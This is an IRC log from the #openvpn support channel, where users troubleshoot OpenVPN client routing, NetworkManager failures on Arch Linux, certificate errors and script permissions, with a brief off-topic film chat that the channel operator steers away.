09:47 -!- brad [~brad@ninja.so] has quit [Quit: No Ping reply in 150 seconds.]
09:47 < MagisterQuis> krzee: I've nosed around a bit.  I found a paper by some Italian researchers comparing the solutions.
09:48 <@krzee> theres no real comparison unless theres more options now
09:48 <@krzee> last i played it was nstx or iodine
09:48 < Bch> Need to access my server on wan adresss when its connectet to openvpn. I can get it to work if i use "ip rule add from 192.168.1.150 table 10" "ip route add default via 192.168.1.1 table 10".  but then i cant get access to it when i connect to my openvpnas server which is on the same mashine on local net
09:48 <@krzee> and iodine was hands down better
09:48 < MagisterQuis> There's a couple more.
09:49 <@krzee> Bch, lost me at "but then i cant get access to it when i connect to my openvpnas server which is on the same mashine on local net"
09:50 < wjtaylor> Here's more to think about. If you are giving keys out to your fiends, maybe just use the password
09:50 < Bch> im not good at explayning in english :-)
09:50 < wjtaylor> that didn't come out right
09:50 <@krzee> Bch, i will be forgiving, try again =]
09:50 < wjtaylor> if your just using it for games, maybe use passwords
09:51 <@krzee> wjtaylor, whats wrong with certs?
09:51 < MagisterQuis> Bch: So, the problem is you can't access another service on your openvpn server when you're connected to the vpn?
09:51 < wjtaylor> nothing, just dispatching them etc.
09:51 <@krzee> !splitroute
09:51 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
09:51 <@krzee> MagisterQuis, you use redirect-gateway, right?
09:51 < Bch> yes
09:52 <@krzee> oops i mean bch
09:52 <@krzee> bch, you use redirect-gateway, right?
09:52 < rob0> !as
09:52 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:52 <@krzee> oh is he using AS?
09:52 < rob0> "openvpnas" could be that :)
09:53 <@krzee> hah me eyes blanked the vp, i saw "opennas" hahaha
09:56 < Bch> Okay lets forket about openvpnas. when im on openvpn i just would like port 4443 which is forwarded in my router access to the computer on my normal wan adress
09:56 -!- brad [~brad@ninja.so] has joined #openvpn
09:56 < Bch> forket = forget :-D
09:57 -!- polyzen [~polyzen@unaffiliated/polyzen] has joined #openvpn
09:57 -!- polyzen [~polyzen@unaffiliated/polyzen] has left #openvpn []
09:58 < Bch> when im on my lan on local network i can connect to 192.168.1.150 but when i try to connect from wan it get rejected
09:58 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rkbiahugnigncggt] has joined #openvpn
09:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:00 -!- brad [~brad@ninja.so] has quit [Client Quit]
10:00 < Bch> someone who has a sollution to that problem ?
10:00 < nohitall> hey, I got a problem...I got a openvpn tunnel running, works flawless, just it doesnt route all traffic through it, so I cant ping anything etc..I guess I miss some routing config which allos that? and it cant be server side, since its paid vpn service and I use that on other machines too, I lack some config here on my arch sys, anyone an idea?
10:01 < wjtaylor> I think you need to set your client config to set the tun as your default gateway. See the howto
10:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:02 < Bch> to me ?
10:02 < nohitall> na me..
10:03 < nohitall> wjtaylor: got a quick link? cant find it
10:04 < wjtaylor> http://openvpn.net/index.php/open-source/documentation/howto.html#quick
10:04 <@vpnHelper> Title: HOWTO (at openvpn.net)
10:05 < Bch> http://openvpn.net/index.php/open-source/documentation/howto.html#redirect i think
10:05 <@vpnHelper> Title: HOWTO (at openvpn.net)
10:05 < wjtaylor> Routing all client traffic (including web-traffic) through the VPN.
10:05 < wjtaylor> it's a hyperlink at the beginning
10:05 < nohitall> yea but I always rea about the server-config file
10:06 < nohitall> but I am a client, I dont own the server.
10:06 < nohitall> or do they mean the daemon?
10:07 < wjtaylor> ah
10:07 < wjtaylor> windows?
10:07 < nohitall> I know in debian and ubuntu etc it always works automatically
10:07 < nohitall> na I am on arch
10:07 < Bch> krzee: do you have a sollution to my problem ?
10:08 <@krzee> Bch, are you using openvpn-AS ?
10:08 < wjtaylor> I have an ubuntu client, and I don't route everything through the tunnel...
10:08 <@krzee> if so you have professional support
10:08 < nohitall> for me it was always auto that it routes everything through the tunnel
10:09 <@krzee> otherwise I will give you a link (again) and let you figure out the solution like everyone else ;]
10:09 < wjtaylor> I'd try changing the config on the client. If it doesn't work, change it back
10:09 < rob0> Bch, and even if it is not openvpn-AS, it is:
10:09 < rob0> !notovpn
10:09 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
10:09 < Bch> krzee: when im on openvpn i just would like port 4443 which is forwarded in my router access to the computer on my normal wan adress
10:09 < Bch> when im on my lan on local network i can connect to 192.168.1.150 but when i try to connect from wan it get rejected
10:10 <@krzee> i understand, but you havnt answered my question
10:10 <@krzee> openvpn-as or not?
10:10 < nohitall> wjtaylor: e.g. I just setup a fresh debian install, and directly works
10:10 <@krzee> well screw it, either way heres your 2 answers:
10:10 < Bch> then not. its disables right now. the other thing is the real problem
10:10 <@krzee> if you use AS,
10:10 <@krzee> !as
10:11 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
10:11 <@krzee> if not,
10:11 <@krzee> !splitroute
10:11 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
10:11 <@krzee> #1 ^
10:12 < Bch> !route_override
10:12 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
10:12 <@krzee> you dont need route_override
10:13 <@krzee> if you did, i would have told you to use that
10:13 <@krzee> lol
10:13 <@krzee> main thing you need to do is learn how to answer a direct question
10:13 <@krzee> because without that nobody will EVER be able to help you
10:13 < Bch> just wanted to read about it
10:14 <@krzee> !factoids
10:14 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:14 <@krzee> in that case, theres all of them? knock yourself out!
10:14 < Bch> LOL ty :-)
10:15 < nohitall> in all howsto and tuts I read online they never bother bout routing config for the client
10:15 <@krzee> now, do you use AS or not
10:15 <@krzee> nohitall, "routing config for client" ?
10:15 <@krzee> you mean sharing a client's lan?
10:15 < nohitall> just that it tunnels everything through the openvpn tunnel, like I am used to on debian or rhel..
10:15 < nohitall> automatically it does that
10:16 < Bch> i also use AS so i have to /join #openvpnas to get proffesionel help :-)
10:16 < nohitall> got my tun0 up and workin
10:16 <@krzee> that would be lonely, since thats not the AS channel
10:16 <@krzee> nohitall, openvpn "automatically" does nothing
10:17 <@krzee> you using some provider?
10:17 < Bch> #openvpn-as :-D
10:18 <@krzee> nohitall, if you run your server and are not using redirect-gateway anywhere, then i bet you're using lame ass network manager to configure your vpn, i have heard of THAT automatically doing what you're saying
10:19 < nohitall> no I use a VPN service, since years
10:19 <@krzee> ok so IT is redirecting your gateway
10:19 < nohitall> and that routing problem I have on no system
10:19 <@krzee> if you want to stop that, theres a few options
10:20 < nohitall> dunno where debian does that..must be configured somewhere
10:20 <@krzee> depending on how you want it stopped
10:20 -!- Bch [~BrianC@dhcp31.signon1.uk.beevpn.com] has left #openvpn []
10:20 <@krzee> nohitall, let me see your logfile with verb 4
10:20 < nohitall> na the problem was that on my arch sys that openvpn tunnel is there and working, but nothing goes trough it
10:21 <@krzee> oh so you WANT everything to tunnel, but 1 system isnt doing it?
10:21 < nohitall> yes, I never had to config anything else
10:21 < nohitall> alwasy worked out of the box on all distros
10:21 < nohitall> even in freebsd lol
10:21 <@krzee> ok so post that logfile
10:21 <@krzee> im sure you already looked at it? right?
10:22 < nohitall> uhm I dont know what verb 4 means
10:22 < nohitall> that someopenvpn flag?
10:22 <@krzee> !verb
10:22 <@vpnHelper> "verb" is verb command is for setting log verbosity, see --verb in the manual (!man) for more info
10:24 < nohitall> k sec
10:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:30 < nohitall> omg stupid me
10:31 <@krzee> guess that was the first look at the logs ;]
10:31 <@krzee> glad you fixed it =]
10:31 < nohitall> na I did not fix it
10:31 <@krzee> sounded like you're about to
10:31 < nohitall> just was wondering why auth failed then I rememberd I got the tunnel open on other sys lol
10:32 < nohitall> ok now sec that looks good
10:32 < nohitall> woot
10:32 < nohitall> it works
10:32 <@krzee> krzee> glad you fixed it =]
10:32 <@krzee> :D
10:32 < nohitall> liies..my whole life is a lie
10:32 < nohitall> na it doesnt make sense
10:32 < nohitall> I did not change anything
10:32 < nohitall> I still show u the log sec
10:33 <@krzee> nah i dont care about the log if it works
10:33 <@krzee> ive seen enough logs of working systems
10:33 < nohitall> na plz there are error messages
10:33 < nohitall> http://pastebin.com/CQy0t9Sj
10:34 < nohitall> lots of warnings lol
10:34 <@krzee> are there any warnings you dont understand?
10:35 < nohitall> na..thanks anyway
10:36 < nohitall> sometimes mental support after hours is just the thing that is needed
10:36 < nohitall> still dont know why its working though..
10:36 <@krzee> line 2 is a windows only option...
10:36 <@krzee> looks like line 3 cant be pushed, but your server is doing so
10:36 <@krzee> line 9 must be ignorable if stuff is working
10:36 < nohitall> looks like gnomes nm failes, manually it worked
10:36 <@krzee> line 20 is cause you had the route
10:36 <@krzee> !netman
10:36 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
10:37 <@krzee> !ubuntu
10:37 <@vpnHelper> "ubuntu" is dont use network manager!
10:37 <@krzee> !debian
10:37 <@vpnHelper> "debian" is Although we are aware the Debian stable package repository has OpenVPN 2.1rc11, to offer support, we require users to run the current version of OpenVPN. See !download for information on where/how to obtain a recent release.
10:37 <@krzee> oops (last one didnt apply)
10:37 < nohitall> 2008 ..never had problem with the nm
10:37 < nohitall> I ll check it out
10:37 < nohitall> thx again
10:37 <@krzee> funny, you just said it didnt work when used from NM but did manually
10:37 < nohitall> yes
10:38 < nohitall> sec I try with nm again
10:38 <@krzee> then within the same 2 minutes you say it failed in NM
10:38 <@krzee> o_O
10:38 < nohitall> haha to clarify
10:38 < nohitall> always worked in nm on all other distros and systems
10:38 < nohitall> did not work in nm so far on arch
10:38 < nohitall> sry, confusing ;)
10:38 <@krzee> :D
10:39 < nohitall> ok its a nm bug
10:39 <@krzee> oh and the error on 21 is because of line 20 which is cause one of the added routes already existed
10:39  * nohitall found a bug
10:39 < nohitall> hehe
10:40 <@krzee> so none of those errors matter, except maybe line 3, but i have never used that option and dont want to read the manual about it
10:40 < nohitall> line 3
10:40 < nohitall> auth retry?
10:40 <@krzee> if in fact you decide you do need that option, just put the config option directly in your client config
10:40 <@krzee> --auth-retry nointeract
10:40 <@krzee> !man
10:40 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:40 <@krzee> thats being pushed by the server and ignored by the client
10:41 <@krzee> if you read about it and want it, use the option directly in client config
10:41 <@krzee> maybe mention to your provider as well
10:41 <@krzee> also, what version openvpn are you using?
10:41 <@krzee> openvpn --version
10:41 < nohitall> 2.3.1
10:42 <@krzee> nice
10:42 < nohitall> arch..
10:42 < nohitall> I came from old stable debian lol
10:42 < nohitall> to arch
10:42 < nohitall> its like driving some old ford and then switch to bugatti veyron
10:42 <@krzee> !google bugatti veyron
10:42 <@vpnHelper> bugatti.com - Veyron: <http://www.bugatti.com/en/veyron.html>; Bugatti Veyron - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Bugatti_Veyron>; 2013 Bugatti Veyron 16.4 - Specifications, Pictures, Prices: <http://www.leftlanenews.com/new-car-buying/bugatti/veyron-16-4/>
10:43 <@krzee> nice
10:43 < nohitall> what you runnin?
10:43 <@krzee> osx for desktop, mostly freebsd for servers
10:43 < rob0> mid-engined, interesting
10:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
10:45 < nohitall> bsd is pretty nice
10:45 < nohitall> sexy
10:45 < nohitall> and again I learned a lot today..
10:46 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:46 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
10:48 < nohitall> krzee: see the ip route add stuff in the log? that is what I meant
10:48 < nohitall> so openvpn does that indeed
10:49 < nohitall> I thought all the time the sys config does that, that is why I was so confused
10:50 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
10:50 -!- MagisterQuis [~MagisterQ@2601:a:4400:9f:dc47:7d81:d080:f3a6] has joined #openvpn
10:50 -!- MagisterQuis [~MagisterQ@2601:a:4400:9f:dc47:7d81:d080:f3a6] has quit [Changing host]
10:50 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
10:51 <@krzee> lines 16 and 19 are the same, i find that odd
10:52 <@krzee> other than that, it is as i expect
10:52 <@krzee> lines 17 and 18 are because the server pushes redirect-gateway def1
10:52 < nohitall> 16 and 19 are not the same
10:52 <@krzee> and line 16 (or 19) is needed to reach the server after redirecting gateway to go over the vpn, without it you would have a routing loop
10:52 -!- ServerTechLaptop [~ServerTec@72.11.156.151] has quit [Read error: No route to host]
10:52 < nohitall> ah wait they are
10:53 <@krzee> that is why line 20 /21 give an error
10:53 <@krzee> cause it is already added
10:53 <@krzee> (harmless, ignore it)
10:53 < nohitall> so its a server config fail?
10:53 <@krzee> yep
10:53 < nohitall> good. not my problem then lol
10:53 <@krzee> as is line 3
10:53 < nohitall> they had problems last days
10:53 <@krzee> line 2 is debatedly the same
10:53 < nohitall> maybe that is why
10:54 <@krzee> although its fine since unix clients will ignore it
10:54 < nohitall> you a dev?
10:55 <@krzee> nope, not skilled with real code
10:55 <@krzee> i just write scripts and whatnot
10:55 < nohitall> yea..I am happy not to be a coder, I think that work 'd kill me
10:56 <@krzee> i can never get past the book to writing useful code in C
10:56 <@krzee> i guess its not a life priority either tho
10:57 < nohitall> if I code I do it for the lulz
10:57 <@krzee> ++
10:58 < nohitall> 200nicks in here
10:58 < nohitall> moderate
10:58 < nohitall> I hate big channels, usually nobody answers or is qualified to help
10:58 < rob0> that's us!
10:58 <@krzee> i remember when we had under 20 in here
10:59 <@krzee> im very happy with how this channel has grown (plenty of skill to offset the size)
10:59 < nohitall> best is when some noobs tell you total useless stuff and when you explain them they dont understand shit they flame you lol
10:59 < nohitall> they told me "just put the IP in thr browser proxy settings"
10:59 < nohitall> garbage like that
10:59 < nohitall> they kinda did not understand what VPN does I guess..
11:00 < nohitall> krzee: but then I was right when I said it automatically tunnels all traffic through vpn
11:01 <@krzee> not automatically
11:01 <@krzee> the server pushes it to you
11:01 < nohitall> ah
11:01 <@krzee> if the server did not, it would not have happened
11:01 < nohitall> yea ok
11:01 < nohitall> thats the gateway setting stuff you told me about right?
11:01 <@krzee> yep
11:01 < nohitall> ok thanks
11:01 < nohitall> now everything is clear
11:01  * nohitall has a revelation
11:02 <@krzee> (we normally dont help people using providers, but with yours i was able to help ya)
11:02 <@krzee> !provider
11:02 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
11:02 <@krzee> thats the normal response ;]
11:02 < nohitall> well it was not their fault either
11:02 < nohitall> was my stupidity + nm bug
11:08 < nohitall> krzee: got a movie recommendation lol?
11:09 <@krzee> v for vendetta
11:09 < nohitall> awesome, got the comic, seen 100 times though
11:09 <@krzee> always room for another :D
11:09 < nohitall> na
11:09 <@krzee> the new red dawn?
11:09 < nohitall> its so bad..
11:10 <@krzee> i liked it
11:10 < nohitall> the new star trek is good
11:10 < nohitall> pretty good
11:10 < nohitall> liked it
11:10 <@krzee> i have it paused at 6 minutes in
11:10 <@krzee> haha
11:10 < nohitall> there are no bdrips yet
11:10 < nohitall> u watch that on cam or what lol
11:11 <@krzee> yep, cause i heard it was good
11:11 < nohitall> omfg dude
11:11 < nohitall> I dont watch anything under 720p..
11:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:11 <@krzee> im in a 3rd world country
11:11 < nohitall> I wanna see iron man 3..but nothing than a R6 out :|
11:11 <@krzee> cant stream 720p
11:11 < nohitall> oh
11:11 < nohitall> wenn camrips still same size
11:12 < nohitall> good guy h264
11:12 < MagisterQuis> krzee: Torrent?
11:12 <@krzee> sorry i dont think this conversation is right for this channel
11:13 <@krzee> we could take it elsewhere if you guys want
11:13 < nohitall> where
11:14 <@krzee> * Now talking on #openvpn-ot
11:14 < nohitall> haha
11:14 <@krzee> oh wait no
11:14 < nohitall> somehow I your nick feels familiar
11:14 < nohitall> you in other channels?
11:17 <@krzee> sorry i meant * Now talking on ##openvpn-ot
11:17 <@krzee> 2 hashes = not official :D
11:18 <@krzee> i been around since the early 90s
11:19 -!- keo-w [~keo-w@71-90-22-1.dhcp.ftbg.wi.charter.com] has quit []
11:19 < nohitall> use ur chan lol I am there
11:19 < rob0> My view on off-topic conversations: they're fine if there's no on-topic discussion at that time.
11:22 <@krzee> rob0, piracy was quickly becoming a topic of the offtopic conversation
11:22 <@krzee> i figured i should move it
11:22 <@krzee> (or not be a part of it)
11:22 < rob0> aha :)
11:32 -!- brad` [~brad@ninja.so] has joined #openvpn
11:32 -!- brad` is now known as brad
11:39 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
11:44 -!- novaflash is now known as novaflash_away
11:45 -!- novaflash_away is now known as novaflash
11:51 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:51 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
11:51 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 246 seconds]
11:52 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
11:59 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Read error: Connection reset by peer]
12:03 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rkbiahugnigncggt] has left #openvpn []
12:07 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has quit [Read error: Connection reset by peer]
12:09 -!- jzaw [~jzaw@community-wifi.dzki.co.uk] has joined #openvpn
12:21 -!- APTX [APTX@unaffiliated/aptx] has quit [Read error: Operation timed out]
12:25 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
12:30 -!- Guest98465 [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
12:34 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
13:06 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
13:11 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
13:11 -!- MagisterQuis [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has joined #openvpn
13:11 -!- MagisterQuis [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has quit [Changing host]
13:11 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
13:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
13:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:30 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rkbiahugnigncggt] has joined #openvpn
13:31 <@krzee> nohitall, the backtrack error? are you on wifi?
13:32 < nohitall> well it doesnt hurt, so not important
13:32 < nohitall> and yes
13:33 <@krzee> if you want to understand the error better, see --replay-window
13:33 <@krzee> !man
13:33 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:33 <@krzee> but its kinda common error when on wifi
13:35 < nohitall> k thx
13:35 <@krzee> np
13:37 -!- trumee_ is now known as trumee
13:45 -!- erich [~erich@c-71-234-132-86.hsd1.ma.comcast.net] has joined #openvpn
13:49 -!- zifnab [~zifnab@aqua.zifnab.net] has joined #openvpn
13:51 -!- zifnab [~zifnab@aqua.zifnab.net] has left #openvpn []
13:57 -!- jzaw [~jzaw@community-wifi.dzki.co.uk] has quit [Read error: Connection reset by peer]
13:58 -!- Devastator- [~devas@177.18.198.233] has joined #openvpn
13:59 -!- Devastator [~devas@177.18.198.101] has quit [Ping timeout: 248 seconds]
14:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
14:16 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
14:22 -!- erich [~erich@c-71-234-132-86.hsd1.ma.comcast.net] has left #openvpn []
14:28 -!- Rahoul [~nicolas@181.46.220.3] has joined #openvpn
14:32 -!- OllieN [~Ollie@sponge.ollien.me] has joined #openvpn
14:33 -!- OllieN is now known as Zenum
14:33 -!- Zenum [~Ollie@sponge.ollien.me] has quit [Changing host]
14:33 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
14:33 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Client Quit]
14:33 -!- Zenum- [~Ollie@sponge.ollien.me] has joined #openvpn
14:33 -!- Zenum- [~Ollie@sponge.ollien.me] has quit [Client Quit]
14:33 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
14:33 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Max SendQ exceeded]
14:34 -!- Zenum [~Ollie@sponge.ollien.me] has joined #openvpn
14:34 -!- Zenum [~Ollie@sponge.ollien.me] has quit [Max SendQ exceeded]
14:34 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
14:34 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Max SendQ exceeded]
14:34 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
14:34 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Max SendQ exceeded]
14:35 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
14:35 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Max SendQ exceeded]
14:35 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
14:35 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Max SendQ exceeded]
14:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:47 -!- srg [U2FsdGVkX1@unaffiliated/srg] has joined #openvpn
14:51 -!- srg [U2FsdGVkX1@unaffiliated/srg] has quit [Remote host closed the connection]
14:52 -!- srg [U2FsdGVkX1@unaffiliated/srg] has joined #openvpn
15:08 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:09 < MagisterQuis> Can openvpn really still not listen on both tcp and udp?
15:12 < Aketzu_> why would it need to do that?
15:13 < MagisterQuis> So a client can connect to either?
15:18 < Aketzu_> then just run two openvpn instances
15:19 < MagisterQuis> Aketzu_: I probably will.
15:19 <@krzee> MagisterQuis, correct, you have to use 2 openvpn server instances for that for now
15:20 < MagisterQuis> Bother.
15:20 < MagisterQuis> Oh, well.
15:20 < MagisterQuis> krzee: I'm going for longest idle time in ##openvpn-ot, by the way.
15:20 <@krzee> :D
15:21 <@krzee> it never existed before a few ago, you have probably already won
15:24 < MagisterQuis> Woo!
15:24 < MagisterQuis> Eventually I'll run a bouncer.
15:25 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 271 seconds]
15:25 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 271 seconds]
15:25 -!- mete- [~mete@mete.shell.la] has joined #openvpn
15:26 -!- brad [~brad@ninja.so] has quit [Remote host closed the connection]
15:26 -!- Willis [Willis@173.234.237.131] has joined #openvpn
15:26 -!- mete- is now known as mete
15:27  * srg rips his hair out
15:30 < srg> so I got my vpn connecting, but getting a self-signed certificate error.
15:30 < srg> except I have the certificate requset, certificate, and the privkey
15:30 < srg> something must be wrong O_o
15:30 < srg> I wish my provider actually had support
15:39 -!- Rahoul [~nicolas@181.46.220.3] has quit [Remote host closed the connection]
15:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:07 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Quit: Leaving]
16:14 -!- brad [~brad@ninja.so] has joined #openvpn
16:15 -!- Eryn_1983_Fl [~Eryn_1983@142.196.77.149] has joined #openvpn
16:15 < Eryn_1983_Fl> hey peeps
16:16 < Eryn_1983_Fl> i was wondring when openvpn used the --up or --down scripts does it call these are root or does it use another user?
16:16 < Eryn_1983_Fl> also is there a proper place to put these scripts?
16:17 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:29 <@krzee> Eryn_1983_Fl, up is as root, --down is as the user openvpn is running as (if you dropped perms, it wont be root)
16:29 <@krzee> as far as location, openvpn doesnt care at all
16:29 <@krzee> your OS init scripts may or may not care
16:45 -!- JAVACODER [~JAVACODER@2.190.39.211] has quit [Ping timeout: 256 seconds]
17:06 < Eryn_1983_Fl> ok
17:07 < Eryn_1983_Fl> not sure if i want my script that regenerates my configs on demand in init or using the down up stuff in openvpn..
17:11 < Eryn_1983_Fl> i'm geter there peeps slowly but surly the greek is starting to look like english
17:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:28 -!- Devastator- [~devas@177.18.198.233] has quit [Changing host]
17:28 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
17:28 -!- Devastator- is now known as Devastator
17:48 -!- jekader [~jekader@89.28.86.96] has quit [Quit: Konversation terminated!]
18:00 -!- Zenum [~Ollie@sponge.ollien.me] has joined #openvpn
18:00 -!- Zenum [~Ollie@sponge.ollien.me] has quit [Changing host]
18:00 -!- Zenum [~Ollie@unaffiliated/zenum] has joined #openvpn
18:24 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
18:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:33 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 246 seconds]
18:34 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:37 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Client Quit]
18:37 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
18:44 -!- junix659 [~ameyer@71-81-141-178.dhcp.stls.mo.charter.com] has joined #openvpn
18:45 < junix659> hi, is there a way to get openvpn to do a site-to-site vpn with a cisco asa or pix?
18:47 -!- ZitZ [~paul@h114.22.214.67.dynamic.ip.windstream.net] has joined #openvpn
18:48 < ZitZ> hi, i'm having trouble setting up a really simple openvpn with tun, i keep getting a message saying openvpn needs a gateway parameter
18:50 -!- waynr [U2FsdGVkX1@ma.sdf.org] has left #openvpn []
19:07 -!- ZitZ1 [~paul@h68.169.101.208.ip.windstream.net] has joined #openvpn
19:09 -!- ZitZ [~paul@h114.22.214.67.dynamic.ip.windstream.net] has quit [Read error: Operation timed out]
19:19 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
19:20 < srg> I'm trying to connect to a VPN - It's giving me a "self signed certificate" error
19:20 < srg> Is there a way to bypass this?
19:30 -!- wjtaylor [~wjtaylor@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Remote host closed the connection]
19:32 -!- ZitZ [~paul@h23.172.101.208.dynamic.ip.windstream.net] has joined #openvpn
19:34 -!- ZitZ1 [~paul@h68.169.101.208.ip.windstream.net] has quit [Ping timeout: 248 seconds]
19:37 < MagisterQuis> Poot the root of the certificate in your trusted certificates store?
19:38 < MagisterQuis> put*
19:47 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
19:47 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:48 < MagisterQuis> So, trying to set up a layer 2 VPN between two OpenBSD boxes.
19:49 < MagisterQuis> The goal is for the client to get its IP address from DHCP.
19:49 < MagisterQuis> Do I need to start dhclient with a script, or is there a configuration option that does that?
19:54 < srg> MagisterQuis: I have a certificate, key, and certificate request to access the vpn
19:54 < srg> since it says self-signed, I use the certificate request file as my CA?
19:54 < MagisterQuis> No.
19:54 < MagisterQuis> You use the CA's certificate at the CA.
19:55 < srg> hrm, apaprentl I don't have the CA then.
19:56 < srg> I don't know how every other user got this VPN working and I can't :-\
19:56 < MagisterQuis> I'm having trouble, too.
19:57 < MagisterQuis> Did you use easy-rsa?
19:57 -!- ZitZ1 [~paul@h246.163.101.208.dynamic.ip.windstream.net] has joined #openvpn
19:58 < srg> I didn't setup the server
19:58 < srg> which is why no one tends to help me here
19:58 < srg> I'm using a VPN from sdf.org
